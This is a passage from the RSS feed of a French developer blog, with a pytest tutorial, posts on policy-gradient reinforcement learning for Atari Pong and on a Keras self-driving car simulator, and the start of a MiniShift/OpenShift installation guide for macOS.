def integer_to_binary(input, zero_pad_length=0):
    &#34;&#34;&#34;
    Converts an integer to a zero-padded binary string.
    &#34;&#34;&#34;
    return &#34;{{:0{}b}}&#34;.format(zero_pad_length).format(input)

@pytest.fixture(params=[{&#34;input&#34;: 8, &#34;expectedResult&#34;: &#34;1000&#34;}, {&#34;input&#34;: 5, &#34;expectedResult&#34;: &#34;0&#34;}, {&#34;input&#34;: 1, &#34;expectedResult&#34;: &#34;1&#34;}])
def testCase(request):
    return request.param

def test_my_converter(testCase):
    result = integer_to_binary(testCase[&#34;input&#34;])
    assert result == testCase[&#34;expectedResult&#34;]
</code></pre><p>Output:</p>
<pre tabindex="0"><code>====================================================================================================== test session starts ======================================================================================================
platform darwin -- Python 3.7.3, pytest-4.5.0, py-1.8.0, pluggy-0.11.0 -- /Users/olivier/Dev/.venv/bin/python3.7
cachedir: .pytest_cache
rootdir: /Users/olivier/Dev/
collected 3 items

test_tmp.py::test_my_converter[testCase0] PASSED                                                                                                                                                                          [ 33%]
test_tmp.py::test_my_converter[testCase1] FAILED                                                                                                                                                                          [ 66%]
test_tmp.py::test_my_converter[testCase2] PASSED                                                                                                                                                                          [100%]

=========================================================================================================== FAILURES ============================================================================================================
_________________________________________________________________________________________________ test_my_converter[testCase1] __________________________________________________________________________________________________

testCase = {&#39;expectedResult&#39;: &#39;0&#39;, &#39;input&#39;: 5}

    def test_my_converter(testCase):
        result = integer_to_binary(testCase[&#34;input&#34;])
&gt;       assert result == testCase[&#34;expectedResult&#34;]
E       AssertionError: assert &#39;101&#39; == &#39;0&#39;
E         - 101
E         + 0

test_tmp.py:15: AssertionError
============================================================================================== 1 failed, 2 passed in 0.08 seconds ===============================================================================================
</code></pre><br/>
<p><strong>Option 2</strong></p>
<p>Example</p>
<pre tabindex="0"><code>import pytest

def integer_to_binary(input, zero_pad_length=0):
    &#34;&#34;&#34;
    Converts an integer to a zero-padded binary string.
    &#34;&#34;&#34;
    return &#34;{{:0{}b}}&#34;.format(zero_pad_length).format(input)


@pytest.mark.parametrize(&#39;input, expectedResult&#39;, [(8, &#34;1000&#34;), (5, &#34;0&#34;), (1, &#34;1&#34;)])
def test_integer_to_binary(input, expectedResult):
    assert expectedResult == integer_to_binary(input)
    
</code></pre><p>Same Output.</p>
<br/>
<h2 id="scopes-des-fixtures">Scopes des fixtures</h2>
<p><strong>Une fixture peut avoir plusieurs scopes: test, module ou session.</strong></p>
<p>Exemple de fixture au niveau des tests:</p>
<pre tabindex="0"><code>@pytest.fixture()
def user():
	print(&#34;Creating user&#34;)
    return User(&#39;Python&#39;, &#39;Awesome&#39;)

def test_is_prime(user):
	assert is_prime(user, 2) is True
	assert is_prime(user, 3) is True    
	assert is_prime(user, 4) is False

def test_prime_factors(user):
	assert prime_factors(user, 2) == [2]
	assert prime_factors(user, 12) == [2, 2, 3]
</code></pre><p>Exemple de fixture au niveau du module:</p>
<blockquote>
<p>Il suffit de changer le scope dans l&rsquo;annotation <code>@pytest.fixture()</code>:</p></blockquote>
<pre tabindex="0"><code>@pytest.fixture(scope=&#39;module&#39;)
def user():
	print(&#34;Creating user&#34;)
    return User(&#39;Python&#39;, &#39;Awesome&#39;)

...
</code></pre><br/>
<h2 id="tagger-ses-tests-avec-des-fixtures">Tagger ses tests avec des fixtures</h2>
<p>Exemple:</p>
<pre tabindex="0"><code>import pytest
import math_func

@pytest.mark.strings
def test_add_strings():
	result = math_func.add(&#39;Hello&#39;, &#39; World&#39;)
    assert result == &#39;Hello World&#39;
    assert type(result) is str
</code></pre><p>Appeler les tests ayant un tag particulier:</p>
<pre tabindex="0"><code>pytest -v -m strings
</code></pre><br/>
<h2 id="skipper-un-test-grâce-à-un-tag">Skipper un test (grâce à un tag)</h2>
<p><strong>Simple skip</strong></p>
<p>Exemple:</p>
<pre tabindex="0"><code>import pytest
import math_func

@pytest.mark.skip(reason=&#39;do not run this test for no reason&#39;)
def test_add_strings():
	result = math_func.add(&#39;Hello&#39;, &#39; World&#39;)
    assert result == &#39;Hello World&#39;
    assert type(result) is str
</code></pre><p>Exécution:</p>
<pre tabindex="0"><code>pytest -v
</code></pre><br/>
<p><strong>skipif</strong></p>
<p>Exemple:</p>
<pre tabindex="0"><code>import pytest
import math_func
import sys

@pytest.mark.skipif(sys.version_info &lt; (3, 3), reason=&#39;&#39;)
def test_add_strings():
	result = math_func.add(&#39;Hello&#39;, &#39; World&#39;)
    assert result == &#39;Hello World&#39;
    assert type(result) is str
</code></pre><p>Exécution:</p>
<pre tabindex="0"><code>pytest -v
</code></pre><br/>
<h2 id="code-dinitialisation-et-de-clôture-des-tests">Code d&rsquo;initialisation et de clôture des tests</h2>
<p><strong>Option 1: Setup and Teardown</strong></p>
<p>Exemple de code de setup (Connection à une BDD par exemple):</p>
<p>Au lieu de:</p>
<pre tabindex="0"><code>import pytest

def test_olivier_data():
	db = StudentDB()
    db.connect(&#39;data.json&#39;)
    olivier_data = db.get_data(&#39;Olivier&#39;)
    assert olivier_data[&#39;id&#39;] == 1
    assert olivier_data[&#39;name&#39;] == &#39;Olivier&#39;
</code></pre><p>On peut initialiser la fonction <code>setup_module</code> qui sera exécutée au démarrage des tests:</p>
<p>On écrit plutôt:</p>
<pre tabindex="0"><code>import pytest

db = None
def setup_module(module):
	db = StudentDB()
    db.connect(&#39;data.json&#39;)

def test_olivier_data():
    olivier_data = db.get_data(&#39;Olivier&#39;)
    assert olivier_data[&#39;id&#39;] == 1
    assert olivier_data[&#39;name&#39;] == &#39;Olivier&#39;
</code></pre><p>Avec la fonction <code>teardown_module</code> on exécute du code lorsque les tests sont terminés (pour fermer la connexion avec une BDD par exemple)</p>
<p>Exemple:</p>
<pre tabindex="0"><code>def teardown_module(module):
	db.close()
</code></pre><br/>
<p><strong>Option 2: Avec des Fixtures avec un scope module et un générateur</strong></p>
<p>On peut réécrire le code précédent avec des fixtures.</p>
<pre tabindex="0"><code>import pytest

@pytest.fixture(scope=&#39;module&#39;)
def db():
	print(&#34;{}setup{}&#34;.format(&#34;-&#34;*10, &#34;-&#34;*10))
	db = StudentDB()
    db.connect(&#39;data.json&#39;)
	yield db ## yield is canceled by return 
	print(&#34;{}teardown{}&#34;.format(&#34;-&#34;*10, &#34;-&#34;*10))
	db.close()
    ## implicit return when not specified

def test_olivier_data(db):
    olivier_data = db.get_data(&#39;Olivier&#39;)
    assert olivier_data[&#39;id&#39;] == 1
    assert olivier_data[&#39;name&#39;] == &#39;Olivier&#39;
</code></pre><br/>
<h2 id="exécuter-les-tests-en-parallèle">Exécuter les tests en parallèle</h2>
<p>Le paquet suivant est nécessaire:</p>
<pre tabindex="0"><code>pip install pytest-xdist
</code></pre><p>Puis pour exécuter les tests en parallèle, il faut spécifier l&rsquo;option suivante au module pytest:</p>
<pre tabindex="0"><code>python -m pytest -v tests/ -n auto

# ou python -m pytest -v tests/ -n 2
</code></pre><br/>
<h2 id="ajouter-du-code-coverage">Ajouter du code coverage</h2>
<p>Installer le paquet suivant:</p>
<pre tabindex="0"><code>pip install pytest-cov
</code></pre><p>Puis exécuter la commande:</p>
<pre tabindex="0"><code>python -m pytest -v --cov=path_to_analyze_coverage
</code></pre><br/>
<h2 id="configuration-files">Configuration files</h2>
<ul>
<li>
<p>pytest.ini (permet par exemple de définir le rootdir des tests)</p>
</li>
<li>
<p>conftest.py (exécuté automatiquement, c&rsquo;est un bon endroit pour écrire des fixtures)</p>
</li>
</ul>
<br/>
<h2 id="useful-commands">Useful commands:</h2>
<p><strong>Run last failing test:</strong></p>
<pre tabindex="0"><code>python -m pytest -v --lf

# ou pytest -v --lf
</code></pre><br/>
<p><strong>Display print statements:</strong></p>
<pre tabindex="0"><code>python -v -s

# ou pytest -v -s
</code></pre><br/>
<p><strong>Run one specific test:</strong></p>
<pre tabindex="0"><code>python -m pytest -v -k &#34;nom_du_test_complet_ou_regex&#34;

# ou pytest -v -k &#34;nom_du_test_complet_ou_regex&#34;

# Or est également possible
# ou pytest -v -k &#34;regex1 or regex2&#34;

# And est également possible
# ou pytest -v -k &#34;regex1 and regex2&#34;
</code></pre><br/>
<p><strong>Run one specific test in a particular file:</strong></p>
<pre tabindex="0"><code>python -m pytest -v mon_fichier_de_test::nom_du_test

# ou pytest -v mon_fichier_de_test::nom_du_test
</code></pre><br/>
<p><strong>Run one test file:</strong></p>
<pre tabindex="0"><code>python -m pytest -v tests/votre_fichier_de_test.py

# ou pytest -v tests/votre_fichier_de_test.py
</code></pre><br/>
<p><strong>Stopper l&rsquo;exécution des tests dès la première failure:</strong></p>
<pre tabindex="0"><code>python -m pytest -v -x

# ou pytest -v -x
</code></pre><br/>
<p><strong>Stopper l&rsquo;exécution des tests après x failed tests:</strong></p>
<pre tabindex="0"><code>python -m pytest -v --maxfail=2

# ou pytest -v --maxfail=2
</code></pre><p>Voir les commandes disponibles: <a href="https://docs.pytest.org/en/latest/usage.html">https://docs.pytest.org/en/latest/usage.html</a></p>
<br/>
<h2 id="cool-pytest-plugins">Cool Pytest plugins</h2>
<table>
  <thead>
      <tr>
          <th>PLUGIN</th>
          <th style="text-align: center">DESCRIPTION</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>pytest-server-fixtures</td>
          <td style="text-align: center">Extensible server-running framework with a suite of well-known databases and webservices included: mongodb, redis, rethinkd, Jenkins, Apache httpd, Xvfb</td>
      </tr>
      <tr>
          <td>pytest-shutil</td>
          <td style="text-align: center">Unix shell and environment management tools</td>
      </tr>
      <tr>
          <td>pytest-profiling</td>
          <td style="text-align: center">Profiling plugin with tabular heat graph output and gprof support for C-Extensions</td>
      </tr>
      <tr>
          <td>pytest-devpi-server</td>
          <td style="text-align: center">DevPI server runnning fixture for testing package management code</td>
      </tr>
      <tr>
          <td>pytest-pyramid-server</td>
          <td style="text-align: center">Pyramid server fixture for running up servers in integration tests</td>
      </tr>
      <tr>
          <td>pytest-webdriver</td>
          <td style="text-align: center">Selenium webdriver fixture for testing web applications</td>
      </tr>
      <tr>
          <td>pytest-virtualenv</td>
          <td style="text-align: center">Create and teardown virtual environments, run tests and commands in the scope of the virtualenv</td>
      </tr>
      <tr>
          <td>pytest-qt-app</td>
          <td style="text-align: center">PyQT application fixture</td>
      </tr>
      <tr>
          <td>pytest-listener</td>
          <td style="text-align: center">TCP Listener/Reciever for testing remote systems</td>
      </tr>
      <tr>
          <td>pytest-git</td>
          <td style="text-align: center">Git repository fixture</td>
      </tr>
      <tr>
          <td>pytest-svn</td>
          <td style="text-align: center">SVN repository fixture</td>
      </tr>
      <tr>
          <td>pytest-fixture-config</td>
          <td style="text-align: center">Configuration tools for Py.test fixtures</td>
      </tr>
      <tr>
          <td>pytest-verbose-parametrize</td>
          <td style="text-align: center">Makes py.test’s parametrize output a little more verbose</td>
      </tr>
  </tbody>
</table>
<br/>
<h2 id="tricks">Tricks</h2>
<p><strong>Créer et importer des <em>helper functions</em> dans les tests sans créer de package dans le dossier <code>tests</code></strong></p>
<p>Par exemple, vous voulez créer ceci:</p>
<pre tabindex="0"><code># Dans le fichier common.py
def assert_nimporte_quoi_entre_deux_proprietes(x, y):
    assert ...


# Dans tests/my_test.py
def test_something_with(x):
    some_value = some_function_of_(x)
    assert_nimporte_quoi_entre_deux_proprietes(x, some_value)
</code></pre><p>Créer un dossier <code>helpers</code> dans le répertoire <code>tests</code> et ajouter le path de ce dernier via <code>pythonpath</code> dans le fichier <code>conftest.py</code>.</p>
<pre tabindex="0"><code>tests/
    helpers/
      utils.py
      ...
    conftest.py
setup.cfg
</code></pre><p>Dans le fichier <code>conftest.py</code>:</p>
<pre tabindex="0"><code>import sys
import os
sys.path.append(os.path.join(os.path.dirname(__file__), &#39;helpers&#39;))
</code></pre><p>Dans le fichier <code>setup.cfg</code>:</p>
<pre tabindex="0"><code>[pytest]
norecursedirs=tests/helpers
</code></pre><p>Ce module sera accessible via <code>import utils</code>.</p>
<br/>
<p><strong>Avoir des modules de tests qui ont le même nom</strong></p>
<p>Pour ce faire, il faut ajouter un fichier <code>__init__.py</code> dans le dossier <code>tests</code> ainsi que dans ses sous-répertoires. (Le répertoire <code>tests</code>devient donc un module):</p>
<pre tabindex="0"><code>setup.py
mypkg/
    ...
tests/
    __init__.py
    foo/
        __init__.py
        test_view.py
    bar/
        __init__.py
        test_view.py
</code></pre><p>Maintenant pytest va charger les modules comme ceci: <code>tests.foo.test_view</code> et <code>tests.bar.test_view</code>
Cela permet d&rsquo;avoir des modules qui ont le même nom.</p>
<br/>
<p><strong>Organiser un grand nombre de fixtures</strong></p>
<p>On peut par exemple ajouter les lignes suivantes dans le fichier <code>tests/unit/conftest.py</code>:</p>
<pre tabindex="0"><code>pytest_plugins = [
   &#34;tests.unit.fixtures.some_stuff&#34;,
]
</code></pre><p>Et un fichier de fixture <code>tests/unit/fixtures/some_stuff.py</code> peut être défini ainsi:</p>
<pre tabindex="0"><code>import pytest

@pytest.fixture
def foo():
    return &#39;foobar&#39;
</code></pre><p>(Il faudra également créer un fichier <code>__init__.py</code>)</p>
<br/>
<h2 id="outils">Outils</h2>
<ul>
<li>Reporting: <a href="http://allure.qatools.ru/">Allure</a></li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Devenir Atari Pong master grâce à l&#39;apprentissage par renforcement</title>
            <link>https://leandeep.com/devenir-atari-pong-master-gr%C3%A2ce-%C3%A0-lapprentissage-par-renforcement/</link>
            <pubDate>Thu, 29 Mar 2018 21:09:00 +0000</pubDate>
            
            <guid>https://leandeep.com/devenir-atari-pong-master-gr%C3%A2ce-%C3%A0-lapprentissage-par-renforcement/</guid>
            <description>&lt;h2 id=&#34;quest-ce-que-lapprentissage-par-renforcement-&#34;&gt;Qu&amp;rsquo;est-ce que l&amp;rsquo;apprentissage par renforcement ?&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;apprentissage par renforcement est utilisé dans l&amp;rsquo;intelligence artificielle pour enseigner aux ordinateurs comment prendre de meilleures décisions en fonction des récompenses qu&amp;rsquo;ils reçoivent.&lt;/p&gt;
&lt;p&gt;En d&amp;rsquo;autres termes, l&amp;rsquo;apprentissage par renforcement, c&amp;rsquo;est un peu comme apprendre à faire quelque chose en obtenant des récompenses pour ses actions.&lt;/p&gt;
&lt;p&gt;En trading par exemple, on évalue quelle stratégie va maximiser les récompenses qui sont le retour sur investissement. Les récompenses peuvent être obtenues longtemps après une action.&lt;/p&gt;
&lt;p&gt;Autre exemple, avec un jeu d&amp;rsquo;échec, on peut obtenir des récompenses mieux que ce qu&amp;rsquo;on aurait pu jouer simplement en sacrifiant des pièces pour jouer un meilleur coup.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;En apprentissage par renforcement, on crée une &lt;strong&gt;politique&lt;/strong&gt; qui définit l&amp;rsquo;&lt;strong&gt;action&lt;/strong&gt; qui maximisera les &lt;strong&gt;récompenses&lt;/strong&gt; lorsqu&amp;rsquo;une action sera exécutée en fonction de l&amp;rsquo;état du système.&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;atari-pong&#34;&gt;Atari Pong&lt;/h2&gt;
&lt;p&gt;Pour coder mon réseau de neurones et faire de l&amp;rsquo;apprentissage par renforcement sur un cas pratique et simple, j&amp;rsquo;ai utilisé le framework &lt;a href=&#34;https://gym.openai.com/docs/&#34;&gt;OpenAI gym&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Gym is a toolkit for developing and comparing reinforcement learning algorithms&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Ce framework permet d&amp;rsquo;intéragir avec des jeux basiques Atari.
J&amp;rsquo;ai choisi le jeu Atari Pong pour implémenter mon algorithme gradients de politique.&lt;/p&gt;
&lt;p&gt;Voici 2 vidéos que j&amp;rsquo;ai enregistré qui montrent des parties jouées entre un agent qui est l&amp;rsquo;ordinateur et un agent qui est piloté par un réseau de neurones.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dans la première vidéo, le réseau de neurones n&amp;rsquo;a pas encore été entraîné.&lt;/li&gt;
&lt;/ul&gt;

    &lt;iframe 
        width=&#34;100%&#34; 
        height=&#34;400&#34; 
        src=&#34;//www.youtube.com/embed/fmxJNCf4REY?rel=0&#34; 
        frameborder=&#34;0&#34; 
        allow=&#34;autoplay; encrypted-media&#34; 
        allowfullscreen&gt;
    &lt;/iframe&gt;




&lt;p&gt;&lt;br/&gt;
&lt;br/&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dans la seconde vidéo, le réseau de neurones a été entraîné pendant des jours avec un algorithme policy gradients.&lt;/li&gt;
&lt;/ul&gt;

    &lt;iframe 
        width=&#34;100%&#34; 
        height=&#34;400&#34; 
        src=&#34;//www.youtube.com/embed/yo2c-SCFL-M?rel=0&#34; 
        frameborder=&#34;0&#34; 
        allow=&#34;autoplay; encrypted-media&#34; 
        allowfullscreen&gt;
    &lt;/iframe&gt;




&lt;!-- raw HTML omitted --&gt;</description>
            <content type="html"><![CDATA[<h2 id="quest-ce-que-lapprentissage-par-renforcement-">Qu&rsquo;est-ce que l&rsquo;apprentissage par renforcement ?</h2>
<p>L&rsquo;apprentissage par renforcement est utilisé dans l&rsquo;intelligence artificielle pour enseigner aux ordinateurs comment prendre de meilleures décisions en fonction des récompenses qu&rsquo;ils reçoivent.</p>
<p>En d&rsquo;autres termes, l&rsquo;apprentissage par renforcement, c&rsquo;est un peu comme apprendre à faire quelque chose en obtenant des récompenses pour ses actions.</p>
<p>En trading par exemple, on évalue quelle stratégie va maximiser les récompenses qui sont le retour sur investissement. Les récompenses peuvent être obtenues longtemps après une action.</p>
<p>Autre exemple, avec un jeu d&rsquo;échec, on peut obtenir des récompenses mieux que ce qu&rsquo;on aurait pu jouer simplement en sacrifiant des pièces pour jouer un meilleur coup.</p>
<blockquote>
<p>En apprentissage par renforcement, on crée une <strong>politique</strong> qui définit l&rsquo;<strong>action</strong> qui maximisera les <strong>récompenses</strong> lorsqu&rsquo;une action sera exécutée en fonction de l&rsquo;état du système.</p></blockquote>
<br/>
<h2 id="atari-pong">Atari Pong</h2>
<p>Pour coder mon réseau de neurones et faire de l&rsquo;apprentissage par renforcement sur un cas pratique et simple, j&rsquo;ai utilisé le framework <a href="https://gym.openai.com/docs/">OpenAI gym</a>.</p>
<blockquote>
<p>&ldquo;Gym is a toolkit for developing and comparing reinforcement learning algorithms&rdquo;</p></blockquote>
<p>Ce framework permet d&rsquo;intéragir avec des jeux basiques Atari.
J&rsquo;ai choisi le jeu Atari Pong pour implémenter mon algorithme gradients de politique.</p>
<p>Voici 2 vidéos que j&rsquo;ai enregistré qui montrent des parties jouées entre un agent qui est l&rsquo;ordinateur et un agent qui est piloté par un réseau de neurones.</p>
<ul>
<li>Dans la première vidéo, le réseau de neurones n&rsquo;a pas encore été entraîné.</li>
</ul>

    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/fmxJNCf4REY?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<p><br/>
<br/></p>
<ul>
<li>Dans la seconde vidéo, le réseau de neurones a été entraîné pendant des jours avec un algorithme policy gradients.</li>
</ul>

    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/yo2c-SCFL-M?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<!-- raw HTML omitted -->
<br/>
<br/>
<h2 id="algorithmes-gradients-de-politiquepolicy-gradients">Algorithmes gradients de politique <em>(Policy Gradients)</em></h2>
<p>Les algorithmes de gradient de politique sont un type d&rsquo;algorithme d&rsquo;apprentissage par renforcement qui utilisent la descente de gradient pour apprendre une politique qui maximise une récompense donnée.</p>
<p>Les algorithmes gradients de politique sont utilisés pour apprendre à un ordinateur comment prendre de meilleures décisions pour accomplir une tâche spécifique. Voici comment ça marche :</p>
<ul>
<li>
<p>Objectif: Tout d&rsquo;abord, l&rsquo;ordinateur a une tâche à accomplir, comme jouer à un jeu ou piloter un robot.</p>
</li>
<li>
<p>Actions: Il peut effectuer différentes actions pour essayer de bien faire cette tâche. Par exemple, dans un jeu vidéo, il peut décider de bouger vers la gauche ou vers la droite.</p>
</li>
<li>
<p>Politique: L&rsquo;ordinateur a une sorte de plan, appelé &ldquo;politique&rdquo;, qui lui dit quelles actions prendre dans différentes situations. Au début, ce plan peut être aléatoire, c&rsquo;est-à-dire qu&rsquo;il fait des choses au hasard.</p>
</li>
<li>
<p>Récompense: À chaque fois qu&rsquo;il fait quelque chose, il reçoit une récompense. Si ce qu&rsquo;il fait est bon, la récompense est élevée ; s&rsquo;il se trompe, la récompense est faible.</p>
</li>
<li>
<p>Apprentissage: Maintenant, l&rsquo;ordinateur veut devenir meilleur. Il regarde les récompenses qu&rsquo;il a reçues et ajuste sa politique. Si une action a conduit à une grande récompense, il est plus susceptible de faire cette action dans le futur. Si une action a conduit à une petite récompense, il est moins susceptible de la faire à l&rsquo;avenir.</p>
</li>
<li>
<p>Répétition: Il continue à jouer ou à effectuer des actions, à recevoir des récompenses, à ajuster sa politique, encore et encore, jusqu&rsquo;à ce qu&rsquo;il devienne vraiment bon à la tâche.</p>
</li>
</ul>
<p>Donc, les algorithmes gradients de politique sont comme un apprentissage par essais et erreurs, où l&rsquo;ordinateur apprend à faire de meilleures actions en se basant sur les récompenses qu&rsquo;il reçoit. C&rsquo;est un peu comme quand tu essaies de faire quelque chose, comme dessiner, et que tu t&rsquo;améliores en pratiquant et en apprenant de tes erreurs.</p>
<br/>
<p>Voici un très bon cours pour comprendre en détail comment fonctionnent ces algorithmes:
<a href="http://rll.berkeley.edu/deeprlcourse/">http://rll.berkeley.edu/deeprlcourse/</a> (voir lecture 4 policy gradient).</p>
<p>Il y a également cette vidéo qui traite spécifiquement de ces algorithmes:</p>

    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/oPGVsoBonLM?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<p>En synthèse, voici un résumé de l&rsquo;algo implémenté:</p>
<ul>
<li>
<p>On commence par laisser la politique du réseau de neurones jouer plusieurs parties de Pong et à chaque étape on calcule les gradients qui augmenteraient la probabilité de l&rsquo;action choisie. Au début, on ne fait rien d&rsquo;autre que calculer les gradients.</p>
</li>
<li>
<p>Après plusieurs parties, on calcule le score de chaque action. On évalue une action en fonction de la somme de toutes les récompenses qui s&rsquo;ensuivent en appliquant à chaque étape un taux de rabais (<strong>discount rate</strong>) r.
Par exemple, si on considère que notre agent va 3 fois de suite vers le haut et qu&rsquo;on prend les hypothèses suivantes:</p>
<ul>
<li>Il reçoit +10 comme récompense après la première étape</li>
<li>0 après la deuxième</li>
<li>-50 après la troisième</li>
<li>r = 0,8 (plus le taux de rabais est proche de 1 et plus les récompenses arrivant tardivement comptent autant que les récompenses immédiates. Généralemement r varie entre 0,95 et 0,99.</li>
<li>Conclusion: le score total est de 10 * r^0 + 0 * r^1 + (-50) * r^2 = -22</li>
</ul>
</li>
<li>
<p>Si le score est positif, cela signifie que l&rsquo;action était bonne. On applique les gradients calculés lors de la première étape. Appliquer les gradients signifie que l&rsquo;on multiplie son vecteur par le score de l&rsquo;action correspondante. L&rsquo;action sera ainsi davantage utilisée dans le futur.
Si l&rsquo;action n&rsquo;était pas bonne, on applique les gradients opposés.</p>
</li>
<li>
<p>Pour terminer, on calcule la moyenne de tous les vecteurs de gradients obtenus et on l&rsquo;utilise pour effectuer une étape de descente de gradient.</p>
</li>
</ul>]]></content>
        </item>
        
        <item>
            <title>Voiture autonome avec Unity et Keras</title>
            <link>https://leandeep.com/voiture-autonome-avec-unity-et-keras/</link>
            <pubDate>Sun, 04 Mar 2018 15:43:00 +0000</pubDate>
            
            <guid>https://leandeep.com/voiture-autonome-avec-unity-et-keras/</guid>
            <description>&lt;p&gt;
    &lt;iframe 
        width=&#34;100%&#34; 
        height=&#34;400&#34; 
        src=&#34;//www.youtube.com/embed/Pl6MbEZ3liM?rel=0&#34; 
        frameborder=&#34;0&#34; 
        allow=&#34;autoplay; encrypted-media&#34; 
        allowfullscreen&gt;
    &lt;/iframe&gt;




&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>
    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/Pl6MbEZ3liM?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<!-- raw HTML omitted --></p>
<p>Cet article présente le résultat de mon travail sur la construction d&rsquo;un véhicule autonome dans un simulateur. J&rsquo;ai suivi un <em>whitepaper</em> rédigé par une équipe de Nvidia qui est disponible à l&rsquo;adresse suivante: <a href="http://images.nvidia.com/content/tegra/automotive/images/2016/solutions/pdf/end-to-end-dl-using-px.pdf">http://images.nvidia.com/content/tegra/automotive/images/2016/solutions/pdf/end-to-end-dl-using-px.pdf</a></p>
<p>Le training a été fait non pas sur une Nvidia Drive PX comme précisé dans le <em>paper</em> mais sur un Macbook Pro durant 1 nuit.</p>
<p><img src="/images/implemented-model.png" alt="image"></p>
<p>Le problème de conduite de véhicule autonome est ramené à un problème d&rsquo;apprentissage supervisé.
Grâce au simulateur <a href="https://github.com/udacity/self-driving-car-sim"><em>opensource</em></a> d&rsquo;<a href="https://eu.udacity.com/">Udacity</a>, des données d&rsquo;apprentissage peuvent être extraites.</p>
<ul>
<li>En entrée X, on a des images de la route.
En effet, à l&rsquo;avant du véhicule, il y a 3 caméras. Une filme le côté gauche du véhicule, une autre le devant et une dernière filme le côté droit.</li>
<li>En sortie Y, on a l&rsquo;angle du volant.</li>
</ul>
<p>Le modèle est construit et entraîné avec Keras (et Tensorflow en backend).</p>
<p>Le modèle suivant est implémenté:</p>
<p><img src="/images/cnn-autonomous-vehicule.png" alt="image"></p>
<p>Comme vous avez pu le voir sur la vidéo au dessus, après une nuit d&rsquo;apprentissage, notre véhicule suit bien la route en toute autonomie.</p>
<p>Maintenant, si vous voulez construire votre propre voiture autonome grandeur nature vous savez comment faire&hellip; Il faut placer 3 caméras sur le capot de votre véhicule, lire le bus CAN et pouvoir agir sur l&rsquo;angle du volant (et sur les pédales aussi!).</p>
<p><img src="/images/lol.gif" alt="image"></p>]]></content>
        </item>
        
        <item>
            <title>Installer OpenShift sur OSX</title>
            <link>https://leandeep.com/installer-openshift-sur-osx/</link>
            <pubDate>Wed, 28 Feb 2018 22:13:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-openshift-sur-osx/</guid>
            <description>&lt;h2 id=&#34;quest-ce-quopenshift-&#34;&gt;Qu&amp;rsquo;est-ce qu&amp;rsquo;OpenShift ?&lt;/h2&gt;
&lt;p&gt;OpenShift est une plateforme de PAAS développée par RedHat qui repose sur &lt;a href=&#34;https://kubernetes.io/&#34;&gt;Kubernetes&lt;/a&gt;. En gros, c&amp;rsquo;est Kubernetes avec des outils en plus faits pour simplifier la vie des développeurs. Et en plus c&amp;rsquo;est opensource&amp;hellip;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;minishift&#34;&gt;MiniShift&lt;/h2&gt;
&lt;p&gt;Si vous voulez tester l&amp;rsquo;outil ou avoir un environnement local qui ressemble un peu à votre cluster de production, il existe un outil appelé MiniShift.&lt;/p&gt;
&lt;p&gt;Ce dernier permet de faire tourner un cluster Openshift sur un seul noeud dans une VM en local.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="quest-ce-quopenshift-">Qu&rsquo;est-ce qu&rsquo;OpenShift ?</h2>
<p>OpenShift est une plateforme de PAAS développée par RedHat qui repose sur <a href="https://kubernetes.io/">Kubernetes</a>. En gros, c&rsquo;est Kubernetes avec des outils en plus faits pour simplifier la vie des développeurs. Et en plus c&rsquo;est opensource&hellip;</p>
<br/>
<h2 id="minishift">MiniShift</h2>
<p>Si vous voulez tester l&rsquo;outil ou avoir un environnement local qui ressemble un peu à votre cluster de production, il existe un outil appelé MiniShift.</p>
<p>Ce dernier permet de faire tourner un cluster Openshift sur un seul noeud dans une VM en local.</p>
<br/>
<h2 id="installation-de-minishift">Installation de MiniShift</h2>
<p>Voici la procédure pour l&rsquo;installer avec les dépendances nécessaires:</p>
<ul>
<li>Docker CE pour OSX</li>
<li>docker-machine</li>
<li>Minikube</li>
<li>xhyve (hyperviseur par défault pour OSX)</li>
<li>xhyve driver</li>
<li>MiniShift</li>
</ul>
<pre tabindex="0"><code># Installer docker
# Rendez à l&#39;adresse suivante https://docs.docker.com/docker-for-mac/install/ pour télécharger Docker CE. Il suffit de déplacer le binaire dans /Applications 

# Installer docker-machine
$ curl -L https://github.com/docker/machine/releases/download/v0.13.0/docker-machine-`uname -s`-`uname -m` &gt;/usr/local/bin/docker-machine &amp;&amp; \
  chmod +x /usr/local/bin/docker-machine

# Installer Minikube
$ brew cask install minikube

# Installer MiniShift
$ brew cask install minishift

# Installer xhyve
$ brew install --HEAD xhyve 

# Installer xhyve driver
$ brew install docker-machine-driver-xhyve
$ sudo chown root:wheel $(brew --prefix)/opt/docker-machine-driver-xhyve/bin/docker-machine-driver-xhyve
$ sudo chmod u+s $(brew --prefix)/opt/docker-machine-driver-xhyve/bin/docker-machine-driver-xhyve
</code></pre><br/>
<h2 id="création-de-la-vm">Création de la VM</h2>
<pre tabindex="0"><code># Créer une VM dans xhyve et créer un cluster OpenShift sur cette dernière
minishift start

# Pour utiliser minishift avec virtualbox 
# minishift start --vm-driver=virtualbox
</code></pre><p>Si tout se passe bien, vous devriez avoir ceci:</p>
<p><img src="/images/oc-login.png" alt="image"></p>
<br/>
<h2 id="test-avec-une-application-exemple">Test avec une application exemple</h2>
